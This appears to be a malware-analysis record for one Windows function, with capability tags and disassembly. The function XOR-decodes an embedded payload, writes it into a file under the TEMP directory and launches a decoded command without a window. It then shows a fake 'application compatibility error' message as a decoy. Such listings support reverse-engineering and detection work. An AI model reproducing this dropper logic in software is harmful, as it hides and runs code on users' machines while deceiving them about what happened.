Function at 0x14000149a
Capabilities:
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov eax, 0xe010
call fcn.140002820
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xdfa0], rcx
mov qword [rbp + 0xdfa8], rdx
mov qword [rbp + 0xdfb0], r8
mov dword [rbp + 0xdfb8], r9d
lea rax, [rbp + 0xdf10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0xdf10], 0x68
mov dword [rbp + 0xdf4c], 1
mov word [rbp + 0xdf50], 0
lea rax, str.TEMP
mov rcx, rax
call sym.getenv
mov qword [rbp + 0xdf80], rax
mov rdx, qword [rbp + 0xdf80]
lea rax, [rbp + 0xddf0]
mov r9, rdx
lea r8, str._sEvMMWITRtSQB
mov edx, 0xff
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0xddf0]
lea rdx, [0x140009015]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xdf78], rax
cmp qword [rbp + 0xdf78], 0
jne 0x14000156f
mov ecx, 1
call sym.exit
lea rax, [rbp + 0x95a0]
lea rdx, [0x140009130]
mov ecx, 0x4850
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rax, [rbp + 0x4d50]
lea rdx, [0x14000d980]
mov ecx, 0x4850
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0xdf8c], 0
jmp 0x140001618
mov eax, dword [rbp + 0xdf8c]
cdqe
movzx r8d, byte [rbp + rax + 0x95a0]
mov eax, dword [rbp + 0xdf8c]
movsxd rcx, eax
movabs rdx, 0x38a49e6c6b173b85
mov rax, rcx
mul rdx
mov rax, rdx
shr rax, 0xc
imul rdx, rax, 0x4850
mov rax, rcx
sub rax, rdx
movzx eax, byte [rbp + rax + 0x4d50]
mov edx, r8d
xor edx, eax
mov eax, dword [rbp + 0xdf8c]
cdqe
mov byte [rbp + rax + 0x95a0], dl
add dword [rbp + 0xdf8c], 1
mov eax, dword [rbp + 0xdf8c]
cmp eax, 0x484f
jbe 0x1400015b7
mov rdx, qword [rbp + 0xdf78]
lea rax, [rbp + 0x95a0]
mov r9, rdx
mov r8d, 0x4850
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0xdf78]
mov rcx, rax
call sym.fclose
lea rax, [rbp + 0x2690]
lea rdx, [0x1400121d0]
mov ecx, 0x26b6
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rax, [rbp - 0x30]
lea rdx, [0x140014888]
mov ecx, 0x26b6
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0xdf8c], 0
jmp 0x1400016fb
mov eax, dword [rbp + 0xdf8c]
cdqe
movzx r8d, byte [rbp + rax + 0x2690]
mov eax, dword [rbp + 0xdf8c]
movsxd rcx, eax
movabs rdx, 0xd39ea9c56972bf79
mov rax, rcx
mul rdx
mov rax, rdx
shr rax, 0xd
imul rdx, rax, 0x26b6
mov rax, rcx
sub rax, rdx
movzx eax, byte [rbp + rax - 0x30]
mov edx, r8d
xor edx, eax
mov eax, dword [rbp + 0xdf8c]
cdqe
mov byte [rbp + rax + 0x2690], dl
add dword [rbp + 0xdf8c], 1
mov eax, dword [rbp + 0xdf8c]
cmp eax, 0x26b5
jbe 0x14000169d
lea rax, [rbp + 0x2690]
lea rdx, [rbp + 0xdef0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0xdf10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov r9d, 0x10
lea r8, str.Application_compatibility_error
lea rax, str.The_version_of_this_file_is_not_compatible_with_the_version_of_Windows_youre_running._Check_your_computers_system_information_to_see_whether_you_need_an_x86__32_bit__or_x64__64_bit__version_of_the_program__and_then_contact_he_software_publisher.
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov eax, 1
add rsp, 0xe010
pop rbp
ret